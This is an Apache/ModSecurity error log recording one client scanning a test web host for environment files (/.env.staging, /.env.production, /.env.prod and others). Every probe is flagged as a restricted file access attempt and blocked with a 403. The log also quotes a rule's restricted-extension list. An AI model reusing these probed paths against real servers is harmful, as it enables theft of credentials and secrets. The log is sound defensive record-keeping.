[Sat May 31 23:23:53.188006 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihRwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.test
[Sat May 31 23:23:53.619725 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihSAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.staging
[Sat May 31 23:23:53.619996 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihSAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.staging
[Sat May 31 23:23:53.620216 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihSAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.staging
[Sat May 31 23:23:53.950548 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihSQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.staging
[Sat May 31 23:23:53.950812 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihSQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.staging
[Sat May 31 23:23:53.951011 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDtzaU_7v63ITAiL1uihSQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.staging
[Sat May 31 23:23:54.383305 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDtzak_7v63ITAiL1uihSgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Sat May 31 23:23:54.383506 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDtzak_7v63ITAiL1uihSgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Sat May 31 23:23:54.383753 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDtzak_7v63ITAiL1uihSgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Sat May 31 23:23:54.383925 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDtzak_7v63ITAiL1uihSgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Sat May 31 23:23:54.714400 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDtzak_7v63ITAiL1uihSwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Sat May 31 23:23:54.714599 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDtzak_7v63ITAiL1uihSwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Sat May 31 23:23:54.714885 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDtzak_7v63ITAiL1uihSwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Sat May 31 23:23:54.715069 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDtzak_7v63ITAiL1uihSwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Sat May 31 23:23:55.146942 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production
[Sat May 31 23:23:55.147760 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production
[Sat May 31 23:23:55.147963 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production
[Sat May 31 23:23:55.479090 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production
[Sat May 31 23:23:55.479365 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production
[Sat May 31 23:23:55.479538 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production
[Sat May 31 23:23:55.911575 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development
[Sat May 31 23:23:55.911855 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development
[Sat May 31 23:23:55.912042 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aDtza0_7v63ITAiL1uihTgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development
[Sat May 31 23:23:56.242509 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aDtzbE_7v63ITAiL1uihTwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development
[Sat May 31 23:23:56.242787 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aDtzbE_7v63ITAiL1uihTwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development
[Sat May 31 23:23:56.242968 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aDtzbE_7v63ITAiL1uihTwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development
[Sat May 31 23:23:56.674703 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDtzbE_7v63ITAiL1uihUAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod
[Sat May 31 23:23:56.674999 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDtzbE_7v63ITAiL1uihUAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod
[Sat May 31 23:23:56.675188 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDtzbE_7v63ITAiL1uihUAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod
